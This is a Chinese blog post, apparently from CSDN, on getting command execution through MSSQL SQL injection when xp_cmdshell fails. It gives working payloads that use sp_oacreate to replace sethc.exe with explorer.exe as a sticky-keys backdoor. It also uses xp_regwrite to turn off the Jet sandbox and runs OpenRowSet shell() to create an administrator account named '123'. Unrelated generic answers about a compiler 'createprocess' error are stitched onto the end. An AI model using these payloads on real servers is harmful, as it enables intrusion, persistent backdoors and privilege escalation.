mssql exec xp_cmdshell 调用'CreateProcess'失败解决办法

mssql 数据库注入时 exec xp_cmdshell 调用 'CreateProcess' 失败的解决办法。

    微软ms sql 2000/2005 注入时exec xp_cmdshell 调用 'CreateProcess' 失败,错误代码: '5',两种解决办法。

    原因不说了,一般都是cmd.exe被限制权限了,system用户没有权限,解决方法2种:

1、替换shift文件(在开启3389情况下):

    下面两条语句为分别执行的。

    这条语句将explorer.exe复制为sethc.exe

    declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe','c:/windows/system32/sethc.exe';

    这条语句将sethc.exe复制到dllcache目录下

    declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:/windows/system32/sethc.exe','c:/windows/system32/dllcache/sethc.exe';

    另外这两条语句使用到的sp_oacreate存储过程需要使用到odsole70.dll这个文件,所以这个文件的存亡,关系到创建的成功与否。

2、直接开启acess的沙盘(沙盒),来执行命令:

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net user 123 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators 123 /add")');

注意:如果是 Windows 2000,则将以上 Windows 目录改成 winnt。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: 这是一个出现在编译器或者命令行窗口的错误信息,提示程序创建一个进程(create process)出现了问题(process begin),可能是由于输入的命令或者参数出现了错误。具体问题需要根据错误信息及其上下文进行分析和排查。 ### 回答2: 我很抱歉,但是您给出的信息不够详细,我不能够理解您想询问的是什么问题。在编程语言中,"process_begin: createprocess(n"是一种错误提示,通常出现在编译过程中,它意味着正在创建一个进程,但是创建过程出现了错误。通常,此错误可能是由于以下原因引起的: 1)命令行参数格式不正确。您可能未正确指定程序的路径或所需的参数。 2)进程正在运行,但由于某种原因导致了错误,比如权限问题,输入输出问题或者程序错误。 3)您正在尝试运行不存在的程序。 为了解决这个问题,您可以尝试以下几种方法。 首先,您需要查看编译器或者开发环境的错误日志,以获取更详细的错误信息,这将有助于您找到问题的根源。 其次,您可以检查程序的路径,确保程序文件存在,并检查所需的参数是否正确。 第三,您可以查看您的系统日志,以了解是什么导致了错误,比如权限问题或者输入输出问题。 最后,您可以尝试重新编译程序,并确保在进行编译时使用了正确的选项,以减少错误的可能性。 总之,由于"process_begin: createprocess(n"的原因可能有很多,如果您希望得到更详细的帮助,请提供更多的信息,以便我能够帮助您找到问题的根源,并提供解决方案。 ### 回答3: Process_begin: createprocess(n. 这个错误常常出现在编程的过程中,通常与程序的编译有关,也可能与程序运行过程中的某些因素有关。这个错误会提示你编译或运行程序的过程中出现了错误,让程序无法执行完成。为了解决这个问题,我们需要了解一些可能导致该问题出现的原因,以便我们能够采取相应的措施,解决该问题。 可能导致该问题出现的原因: 1. 编辑器或编译器中路径未正确配置:如果没有正确地设置路径,就会出现该问题。 2. 电脑中的病毒或恶意软件:如果病毒或恶意软件感染了您的计算机系统,也可能导致该问题的出现。 3. 程序编写错误:如果程序编写出现了错误,也可能导致该问题的出现。 4. 输入输出问题:如果程序的输入输出存在问题,也可能导致该问题的出现。 如何解决该问题: 1. 首先,我们需要检查路径是否正确,在编译器或编辑器中进行设置,确保路径正确无误。 2. 如果计算机系统感染了病毒或其他恶意软件,请运行防病毒软件或修复的软件,确保计算机系统中没有病毒。 3. 检查程序代码,查看是否存在编写错误并进行修改。 4. 检查程序的输入输出,确保没有问题。 结论: Process_begin: createprocess(n)错误通常与程序编译或运行有关,可能由于路径设置不正确,计算机系统感染病毒或其他恶意软件,程序编写错误,或者输入输出的问题导致。如果遇到该问题,我们需要检查并解决这些因素。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值